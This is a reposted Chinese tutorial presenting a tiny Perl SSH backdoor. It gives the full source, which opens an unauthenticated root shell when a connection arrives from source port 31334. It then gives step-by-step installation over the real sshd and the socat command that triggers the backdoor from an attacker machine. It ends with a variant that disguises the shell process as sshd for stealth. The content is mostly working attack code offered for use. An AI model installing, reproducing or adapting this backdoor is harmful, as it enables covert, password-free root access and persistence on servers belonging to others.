短小精致的SSH后门,短小精致SSH后门


sshd后门源码:

#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

这段代码的意思:

第一行, 如果当前文件句柄STDIN是一个socket,且socket的远程连接源端口是31334(Big 网络字节序中的16进制字符串为\x00\x00zf, 正好匹配上perl正则 ..zf,上述代码中的zf是Big 网络字节序的Ascii表示形式),则执行/bin/sh,并结束当前程序运行(不会执行第二步),相当于反弹一个root shell (因为sshd 是以root权限运行的)给远程socket  (一般只有攻击者指定连接的源端口才能触发这一行的执行)

第二行  启动sshd (/usr/bin/sshd是真正的sshd)服务 ,凡是传递给/usr/sbin/sshd (后门)的参数都传递给真正的sshd (这一行保证了普通用户也可以正常使用ssh 服务,登录并不会有什么异常现象

如何使用后门

被控端(Victim)    10.1.100.3      Kali

控制端               10.1.100.2       centos7

1) 在被控端执行以下操作

将真正的sshd 移至/usr/bin/sshd

mv /usr/sbin/sshd /usr/bin/sshd

 

 将后门sshd (perl脚本移动至/usr/sbin/sshd),并授予执行权限

 chmod +x /usr/sbin/sshd 

 

重启 ssh 服务

/etc/init.d/ssh reatart

 

2) 在控制端执行以下操作

socat STDIO TCP4:10.1.100.3:22,sourceport=31334

 

这行命令的意思是说,将输入输出重定向至于socket 10.1.100.3:22 (这样后门perl脚本中STDIN就是socket了), 且这个socket的源端口为31334

这行命令等价于 socat -TCP4:10.1.100.3:22,sourceport=31334

这样就可以无需认证 (因为还未到sshd认证阶段就反弹root shell 了)成功获取控制端系统 shell

被控制端端口连接情况:

22 端口是sh 和 控制端连接,程序名是ssh ,而不是正常的sshd,为了增强隐秘性, 我们可以将copy 一份/bin/sh, 重命名为/bin/sshd,修改后门源码为:

#!/usr/bin/perl
exec"/bin/sshd"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

控制端再次连接:

现在已经变成了sshd ,伪装性更强!

 

 

 

 

本文转载自Freebuf:http://www.freebuf.com/articles/system/140880.html

相关内容